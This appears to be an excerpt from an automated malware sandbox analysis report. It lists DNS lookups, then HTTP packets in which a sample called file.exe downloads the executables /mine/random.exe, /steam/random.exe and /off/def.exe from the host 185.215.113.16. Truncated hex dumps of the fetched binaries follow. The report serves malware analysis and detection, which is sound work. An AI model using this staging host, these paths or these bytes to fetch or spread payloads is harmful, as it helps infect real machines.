Oct 24, 2024 18:10:06.837111950 CEST	1.1.1.1	192.168.2.6	0x8850	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.838669062 CEST	1.1.1.1	192.168.2.6	0x55cc	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.868633986 CEST	1.1.1.1	192.168.2.6	0x55cc	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.091609001 CEST	1.1.1.1	192.168.2.6	0xec77	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:07.091609001 CEST	1.1.1.1	192.168.2.6	0xec77	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.110861063 CEST	1.1.1.1	192.168.2.6	0x7182	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.129801035 CEST	1.1.1.1	192.168.2.6	0xc0e9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:07.129801035 CEST	1.1.1.1	192.168.2.6	0xc0e9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.165621996 CEST	1.1.1.1	192.168.2.6	0xf19e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:07.165621996 CEST	1.1.1.1	192.168.2.6	0xf19e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563548088 CEST	1.1.1.1	192.168.2.6	0x3e97	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563548088 CEST	1.1.1.1	192.168.2.6	0x3e97	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563576937 CEST	1.1.1.1	192.168.2.6	0x3e97	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563576937 CEST	1.1.1.1	192.168.2.6	0x3e97	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563604116 CEST	1.1.1.1	192.168.2.6	0x20fa	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563772917 CEST	1.1.1.1	192.168.2.6	0x20fa	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563802004 CEST	1.1.1.1	192.168.2.6	0x155c	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563802004 CEST	1.1.1.1	192.168.2.6	0x155c	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563827991 CEST	1.1.1.1	192.168.2.6	0x155c	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:08.563827991 CEST	1.1.1.1	192.168.2.6	0x155c	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.564610004 CEST	1.1.1.1	192.168.2.6	0x6805	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.579216957 CEST	1.1.1.1	192.168.2.6	0x17f7	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.626874924 CEST	1.1.1.1	192.168.2.6	0x17f7	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.627996922 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.628274918 CEST	1.1.1.1	192.168.2.6	0xa8a	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.669851065 CEST	1.1.1.1	192.168.2.6	0x8b0d	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.670104027 CEST	1.1.1.1	192.168.2.6	0xa8a	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.670444012 CEST	1.1.1.1	192.168.2.6	0xca04	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 24, 2024 18:10:08.677766085 CEST	1.1.1.1	192.168.2.6	0xc935	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 18:10:08.677766085 CEST	1.1.1.1	192.168.2.6	0xc935	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 18:10:08.677766085 CEST	1.1.1.1	192.168.2.6	0xc935	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 18:10:08.677766085 CEST	1.1.1.1	192.168.2.6	0xc935	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 18:10:08.679994106 CEST	1.1.1.1	192.168.2.6	0xd2aa	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 24, 2024 18:10:08.690591097 CEST	1.1.1.1	192.168.2.6	0x7254	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:08.690591097 CEST	1.1.1.1	192.168.2.6	0x7254	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.690591097 CEST	1.1.1.1	192.168.2.6	0x7254	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.690591097 CEST	1.1.1.1	192.168.2.6	0x7254	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.690591097 CEST	1.1.1.1	192.168.2.6	0x7254	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.690622091 CEST	1.1.1.1	192.168.2.6	0xba01	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.719736099 CEST	1.1.1.1	192.168.2.6	0xbd58	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.720154047 CEST	1.1.1.1	192.168.2.6	0xc271	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.720154047 CEST	1.1.1.1	192.168.2.6	0xc271	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.720154047 CEST	1.1.1.1	192.168.2.6	0xc271	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.720154047 CEST	1.1.1.1	192.168.2.6	0xc271	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.720184088 CEST	1.1.1.1	192.168.2.6	0x14f5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:09.188848972 CEST	1.1.1.1	192.168.2.6	0x7842	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49744	185.215.113.16	80	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:08:13.519097090 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:08:14.437304020 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:08:14 GMT Content-Type: application/octet-stream Content-Length: 1870848 Last-Modified: Thu, 24 Oct 2024 16:06:11 GMT Connection: keep-alive ETag: "671a7073-1c8c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfpJ@J1@WkQJxQJ @.rsrc@.idata @ 0*@wehliqok0r@xquxcvvg`Jf@.taggant0pJ"j@
Oct 24, 2024 18:08:14.437342882 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:08:14.437370062 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:08:14.437400103 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:08:14.437419891 CEST	1236	IN	Data Raw: 07 f8 54 10 b8 a6 85 da 58 d9 68 0c fc dd e6 76 a9 85 cd cb 31 33 94 7e ca 53 f0 30 c7 b7 e4 5b 6b fb 77 85 68 bb 60 50 c4 c2 48 4e 48 d4 57 74 18 c3 a4 90 14 e1 13 fb 69 c4 d4 df c1 26 e5 7a 48 37 39 3f e0 82 09 7c ba 06 e3 4d 88 c4 1c 42 b9 62 Data Ascii: TXhv13~S0[kwh`PHNHWti&zH79?\|MBb =@'7;ms3 Z,k,:KS<H7`(7.P#^IHsPh)7SU<4(7V5hg>TJ0,
Oct 24, 2024 18:08:14.437438965 CEST	1236	IN	Data Raw: 57 f7 ba c0 97 0f 15 0e b0 1b a9 91 ef 92 6a 95 28 f5 e0 a3 b9 36 89 18 39 f0 e4 9b 4c 3b 84 50 38 d5 3c 48 8a 9b ed 06 4b 19 91 43 21 b7 04 20 9c 56 65 3b c2 06 ea 4c a0 b5 63 03 c7 23 69 5c 68 f7 ee 3f a8 4b 9f 6e ec 0a e6 a7 98 7a c9 2f 3e 54 Data Ascii: Wj(69L;P8<HKC! Ve;Lc#i\h?Knz/>T';CJY8LKe0Na51}Ko;{v*h5tbTVL>b~(s#i[)3v@)"P?DO84i]<m,
Oct 24, 2024 18:08:14.437465906 CEST	1236	IN	Data Raw: d4 ce 8b b4 80 cc 88 1a 84 c2 0d d2 b9 d4 ac 7d ef 6a 77 70 33 47 b2 a0 27 dd bb 9c 70 c5 ac 55 95 74 96 61 84 da d7 2e 70 24 e9 1c 67 5f d2 0d 56 4b 8b bd 3f ba 6a 41 79 9b 79 4e e5 a7 37 bc 3f dc 4e e9 39 5f c9 1b 9f 58 4d 1e 80 e8 8f 1a f4 17 Data Ascii: }jwp3G'pUta.p$g_VK?jAyyN7?N9_XM.%Zr`o.@'#\j\|xzxOKhzQJy,HcgZap\SNt5XF+MH0Bon)J(h[S/uw.
Oct 24, 2024 18:08:14.437479973 CEST	1236	IN	Data Raw: ef 9d e2 95 ba 5b 4f 41 ac b7 40 f8 ef 7d 14 37 20 e8 5a 2d 76 6b e7 fb b9 3d 61 b3 9a 02 be 9a a4 bf b7 96 d6 63 3b 2c 1d 5f 81 80 e4 ac 21 34 c0 33 f0 08 2b 19 e2 51 6d 32 59 1a 9f 7a 0c df ba 05 1c 7f b6 3d 00 95 b9 77 f0 d6 82 de b1 41 2d d0 Data Ascii: [OA@}7 Z-vk=ac;,_!43+Qm2Yz=wA-_D-%g2JKuvK#b/c~-keR-~,H>YGk>]SUx`1 t4\|4D+.Cvt)T8)HVNT</.Iex>F
Oct 24, 2024 18:08:14.437495947 CEST	1236	IN	Data Raw: 4b 97 d7 cf e9 71 f8 18 74 9e c8 27 f8 d4 ec bf 4c 95 23 a2 a4 df 84 d5 fa 93 29 05 e5 89 fd 1b d8 bb 5c 1a 9c b4 4a 09 a6 74 55 3e 50 ce 84 18 81 97 9e 78 d5 f1 cc 51 0f b4 56 18 be cc 96 60 7c d2 a4 f2 d0 84 fc c0 00 01 0c 7a a9 43 cc 0c d3 91 Data Ascii: Kqt'L#)\JtU>PxQV`\|zC99*atYIXRVDuMqo(8m;p.fI8Qw^[FEgvK}OQ=AgH0$amv=H@6Za!>AP
Oct 24, 2024 18:08:14.437511921 CEST	1236	IN	Data Raw: af c9 44 85 b6 05 21 db c6 61 46 53 22 42 55 6f fc dd 39 68 80 77 ce dc 9b a5 e7 71 19 99 56 2d e6 98 93 14 de 7d f5 91 ba bd 4c 93 9e 43 53 8f 25 00 89 50 c4 c3 c7 33 5a 3c ff 53 58 86 29 f6 6c 8b d7 e3 97 c9 ea 60 18 e2 bd fb df 86 fe 03 07 0f Data Ascii: D!aFS"BUo9hwqV-}LCS%P3Z<SX)l`%weNNow>:GHI=h&Py4Ub5%\|\OHib\h'p%S j2s-5c\|9h\VP]IW?-&L8K\| "6
Oct 24, 2024 18:08:14.443407059 CEST	1120	IN	Data Raw: 90 f5 00 a5 7e fd cc 0c 2d f9 c1 20 90 47 51 2c e2 9b 67 99 b2 4c cd 9b 30 e7 0e 38 2c 8b d5 a3 18 1c e6 f3 ab d7 68 3b 5b 59 5e dd 6e 4b 55 c5 3f 7a 09 94 ac 87 59 96 c0 44 2e 34 a6 47 1b 32 49 0e 7a 3e e2 9f 13 31 39 24 7d 9e f2 df f5 bf dd 8b Data Ascii: ~- GQ,gL08,h;[Y^nKU?zYD.4G2Iz>19$}5b$q,</Mhc7LM%.C0hxT_b%qX}0_bbeF54U]fkA>w*H}dL>f+SujJB0!3wXPma
Oct 24, 2024 18:08:19.610794067 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:08:19.892317057 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:08:19 GMT Content-Type: application/octet-stream Content-Length: 1821696 Last-Modified: Thu, 24 Oct 2024 16:06:04 GMT Connection: keep-alive ETag: "671a706c-1bcc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$h@iV@P%d% %(@.rsrc %8@.idata %8@ p)%:@letztgfzpPOj<@rrfcshyah@.taggant0h"@
Oct 24, 2024 18:08:22.338915110 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:08:22.621787071 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:08:22 GMT Content-Type: application/octet-stream Content-Length: 2863616 Last-Modified: Thu, 24 Oct 2024 15:30:40 GMT Connection: keep-alive ETag: "671a6820-2bb200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 34 12 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: 